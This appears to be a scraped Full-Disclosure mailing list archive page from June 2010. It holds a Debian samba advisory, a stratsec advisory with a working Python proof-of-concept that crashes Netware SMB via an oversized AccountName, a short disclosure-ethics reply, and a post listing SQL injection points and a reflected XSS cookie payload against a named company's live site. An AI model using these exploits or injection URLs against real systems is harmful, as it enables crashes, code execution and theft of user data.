date:20100617

[Full-disclosure] [SECURITY] [DSA 2061-1] New samba packages fix arbitrary code execution

2010-06-17 Thread Nico Golde

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- ---
Debian Security Advisory DSA-2061-1 secur...@debian.org
http://www.debian.org/security/  Nico Golde
June 16th, 2010  http://www.debian.org/security/faq
- ---

Package: samba
Vulnerability  : memory corruption
Problem type   : remote
Debian-specific: no
Debian bug : none
CVE ID : CVE-2010-2063

Jun Mao discovered that Samba, an implementation of the SMB/CIFS protocol
for Unix systems, is not properly handling certain offset values when
processing chained SMB1 packets.  This enables an unauthenticated attacker
to write to an arbitrary memory location resulting in the possibility to
execute arbitrary code with root privileges or to perform denial of service
attacks by crashing the samba daemon.


For the stable distribution (lenny), this problem has been fixed in
version 3.2.5-4lenny12.

This problem does not affect the versions in the testing (squeeze) and
unstable (sid) distribution.


We recommend that you upgrade your samba packages.

Upgrade instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 5.0 alias lenny
- 

Debian (stable)
- ---

Stable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64, 
mips, mipsel, powerpc, s390 and sparc.

Source archives:

  
http://security.debian.org/pool/updates/main/s/samba/samba_3.2.5-4lenny12.diff.gz
Size/MD5 checksum:   239453 262a0d71af5629b5b743a2dd7699346a
  http://security.debian.org/pool/updates/main/s/samba/samba_3.2.5-4lenny12.dsc
Size/MD5 checksum: 1834 752097289f87a23ffed0bd884a8c1093

Architecture independent packages:

  
http://security.debian.org/pool/updates/main/s/samba/samba-doc-pdf_3.2.5-4lenny12_all.deb
Size/MD5 checksum:  6252872 5bd2b9f3ce45c28733e4736af45cfa0b
  
http://security.debian.org/pool/updates/main/s/samba/samba-doc_3.2.5-4lenny12_all.deb
Size/MD5 checksum:  7949770 92c0aa87e34926cc8d05c844f96ccdf2

alpha architecture (DEC Alpha)

  
http://security.debian.org/pool/updates/main/s/samba/samba-tools_3.2.5-4lenny12_alpha.deb
Size/MD5 checksum:  5734864 a3b2a0b1a098268d7f3fb408adca0663
  
http://security.debian.org/pool/updates/main/s/samba/samba_3.2.5-4lenny12_alpha.deb
Size/MD5 checksum:  4832766 221ccfadf707e5c1e2ec35162ca5e105
  
http://security.debian.org/pool/updates/main/s/samba/libsmbclient_3.2.5-4lenny12_alpha.deb
Size/MD5 checksum:  1333498 c85f1d0e2740701be6e48fa48d5eced4
  
http://security.debian.org/pool/updates/main/s/samba/smbclient_3.2.5-4lenny12_alpha.deb
Size/MD5 checksum:  6954426 110e2b73b8c7ce273f810af64e0b131c
  
http://security.debian.org/pool/updates/main/s/samba/swat_3.2.5-4lenny12_alpha.deb
Size/MD5 checksum:  1080334 8fc3c77432c4f9a5d1626ca7b0ced0a6
  
http://security.debian.org/pool/updates/main/s/samba/libwbclient0_3.2.5-4lenny12_alpha.deb
Size/MD5 checksum:81696 6e48d5b3f4876a7e23387c409c3d343d
  
http://security.debian.org/pool/updates/main/s/samba/libsmbclient-dev_3.2.5-4lenny12_alpha.deb
Size/MD5 checksum:  2573704 d370dd920eb28ff1d58f8ecf2a13d429
  
http://security.debian.org/pool/updates/main/s/samba/libpam-smbpass_3.2.5-4lenny12_alpha.deb
Size/MD5 checksum:   637646 b7fb85ef15e39bd1a9e663549d9b36a8
  
http://security.debian.org/pool/updates/main/s/samba/samba-dbg_3.2.5-4lenny12_alpha.deb
Size/MD5 checksum:  1948208 a22dbf0b9a49c79bbb3f060bb94f68a3
  
http://security.debian.org/pool/updates/main/s/samba/samba-common_3.2.5-4lenny12_alpha.deb
Size/MD5 checksum:  3730776 82de247611e9295c002923634d3ee25e
  
http://security.debian.org/pool/updates/main/s/samba/smbfs_3.2.5-4lenny12_alpha.deb
Size/MD5 checksum:  1462704 ee4f7318a9c09923ff9819e1225dfa53
  
http://security.debian.org/pool/updates/main/s/samba/winbind_3.2.5-4lenny12_alpha.deb
Size/MD5 checksum:  3269808 5cc94c8ffe70c5eb15581649d19ea4ef

amd64 architecture (AMD x86_64 (AMD64))

  
http://security.debian.org/pool/updates/main/s/samba/libpam-smbpass_3.2.5-4lenny12_amd64.deb
Size/MD5 checksum:   628118 03a960adaf8f29de55ef7803272808c4
  
http://security.debian.org/pool/updates/main/s/samba/libsmbclient_3.2.5-4lenny12_amd64.deb
Size/MD5 checksum:  1359472 e4ec2ceae3e01f0c7252970c38f9db35
  
http://security.debian.org/pool/updates/main/s/samba/libsmbclient-dev_3.2.5-4lenny12_amd64.deb
Size/MD5 checksum:  1953836 95004a2

[Full-disclosure] stratsec Security Advisory SS-2010-006: Netware SMB Remote Stack Overflow

2010-06-17 Thread stratsec Advisories

===
Stratsec Security Advisory: SS-2010-006 
===

Title:   Netware SMB Remote Stack Overflow 
Version: 1.0
Issue type:  Stack Overflow
Affected vendor: Novell
Release date:17/06/2010
Discovered by:   Laurent Gaffié
Issue status:Patch available

===

Summary
---

A vulnerability exists in the Netware CIFS.NLM driver which allows an attacker 
to trigger a kernel stack overflow by sending a specific 'Sessions Setup AndX' 
query. Successful exploitation of this issue will result in remote code 
execution with kernel privileges. Failed attempts may result in a remote denial
of service.


Description
---
The Server Message Block (SMB) protocol, also known as Common Internet File 
System (CIFS) acts as an application-layer protocol to provide shared access
to files, printers and Inter-Process Communication (IPC). It is also a transport
for Distributed Computing Environment / Remote Procedure Call (DCE / RPC) 
operations.After negotiating a SMB communication the client sends a 
'Session Setup AndX' packet to negotiate a session, to be able to connect on a
specific share. By sending a specially crafted request packet containing a long
'AccountName' value, it is possible trigger a kernel stack overflow.


Impact
--

A remote attacker may be able to remotely execute code with kernel privileges
on affected Netware systems. Failed attempts will result in a denial of service.


Affected products
-

Netware version 6.5 SP8 and prior.


Proof of concept


import sys,socket
from socket import *

if len(sys.argv)<=1:
 sys.exit('usage: python netware.py IP_ADDR')

host = sys.argv[1],139
payload = "A" * 200

packetnego=(
"\x00\x00\x00\x9a"
"\xff\x53\x4d\x42\x72\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc3\x15\x00\x00"
"\x01\x3d\x00\x77\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52"
"\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02"
"\x4d\x49\x43\x52\x4f\x53\x4f\x46\x54\x20\x4e\x45\x54\x29\x4f"
"\x52\x4b\x53\x20\x33\x2e\x30\x00\x02\x44\x4f\x53\x20\x4c\x4d"
"\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x44\x4f\x53\x20\x4c\x41"
"\x4e\x4d\x20\x4e\x32\x2e\x31\x00\x02\x57\x69\x6e\x64\x6f\x77"
"\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70"
"\x73\x20\x33\x2e\x31\x61\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30"
"\x2e\x31\x32\x00"
)

packetsession=(
"\x00\x00\x01\x3e"
"\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf9\x19\x01\x00\x81\x61"
"\x0d\x75\x00\x7a\x00\x68\x0b\x32\x00\x00\x00\x00\x00\x00\x00\x18"
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x3d\x00\x28\xd4\xce"
"\xd7\x93\xc8\x8b\x16\x5f\x42\x2a\x7a\xfd\x15\x7a\xfd\x15\x7a\xfd"+payload+
"\xef\xa5\x42\x5e\x5c\x2d\x4b\x1a\x1c\x59\x4f\x00\x57\x4f\x52\x4b"
"\x47\x52\x4f\x55\x50\x00\x57\x69\x6e\x64\x6f\x77\x73\x20\x34\x2e"
"\x30\x00\x57\x69\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x04\xff"
"\x00\x00\x00\x02\x00\x01\x00\x1f\x00\x00\x5c\x5c\x57\x49\x4e\x2d"
"\x45\x37\x4a\x30\x4f\x4e\x49\x4d\x53\x45\x33\x5c\x55\x53\x45\x52"
"\x53\x00\x3f\x3f\x3f\x3f\x3f\x00"
)

## chained Session Setup Andx, tree connect command, field = username, basic 
stack overflow.

s = socket(AF_INET, SOCK_STREAM)
s.connect(host) 
s.send(''.join(packetnego))
s.send(''.join(packetsession))
print "done !"


Solution


Apply NSS update located at: 
* http://download.novell.com/Download?buildid=tMWCI1cdI7s~

This patch has not been verified by stratsec.


Response timeline
-

* 07/02/2010 - Issue discovered.
* 10/02/2010 - Vendor notified.
* 10/02/2010 - Vendor acknowledged receipt of advisory.
* 11/02/2010 - Vendor confirmed issue presence.
* 16/06/2010 - Patch released by vendor.
* 17/06/2010 - stratsec advisory published.

References
--

* Vendor advisory: http://download.novell.com/Download?buildid=tMWCI1cdI7s~

===

About stratsec
--
Stratsec, specialises in providing information security consulting and testing
services for government and commercial clients. Established in 2004, we are
now one of the leading independent information security companies in the
Australasian and SE-Asian region, with offices throughout Australia and in
Singapore and Malaysia. 

For more information, please visit our website at http://www.stratsec.net/ 

===
-- 
Message  protected by MailGuard: e-mail anti-virus, anti-spam and content 
filtering.http://www.mailguard.com.au/mg

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Host

Re: [Full-disclosure] Congratulations Andrew

2010-06-17 Thread Brian Keefer

On Jun 16, 2010, at 11:56 AM, wilder_jeff Wilder wrote:

> 
> By that same standard.. if you leave your house unlocked does that give 
> someone the right to enter it?
> 
> just my thought
> s

It wasn't an unlocked house.  It was a table on the sidewalk with all the 
neighbors' Girlscout cookie order sheets on it.  Someone just happened to 
pickup not only their order sheet, but everyone else's too.

Think you could get a theft prosecution for that?

--
chort___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] THQ website has multiple SQL injection bugs, and a reflected XSS

2010-06-17 Thread Harry Balls

This is pretty much because I want to embarrass these assholes. See:
http://gamepolitics.com/2010/06/14/exec-thq-anti-used-game-initiative-could-make-everyone-happy

SQLi 1:
http://www.thq.com/us/mythq/register?contentType=GAMEALERT&alertGame='4896

This one is pretty obvious. It's an injection via $_GET. The funniest part is
that they don't just allow injection. They serve up the whole PHP source of the
page for you. Giving you table names, and the actual syntax of the query being
used.

SQLi 2:
The next one is an injection via POST in their registration form here:
http://www.thq.com/us/mythq/register

I used burpsuite to inject it by editing the HTTP requests but you can probably
just enter whatever you want right in the form. I used the UK subdomain for
testing: http://uk.thq.com/uk/mythq/register. This one also shows the source.

Next one is your typical reflected XSS:

http://www.thq.com/us/search/index?keyw=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E

I hope this is enough to put off anyone who was thinking of buying shit from
them.
Would you trust this company with your credit card information when they can't
even properly sanitize a registration form?
These probably aren't even the only security bugs on their site. This is just
after 10 minutes of pentesting. Do yourself a favor and stay far far away from
this company. They have no clue about security and obviously don't give a shit
about their customers.

BOYCOTT THQ

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

54 matches

Mail list logo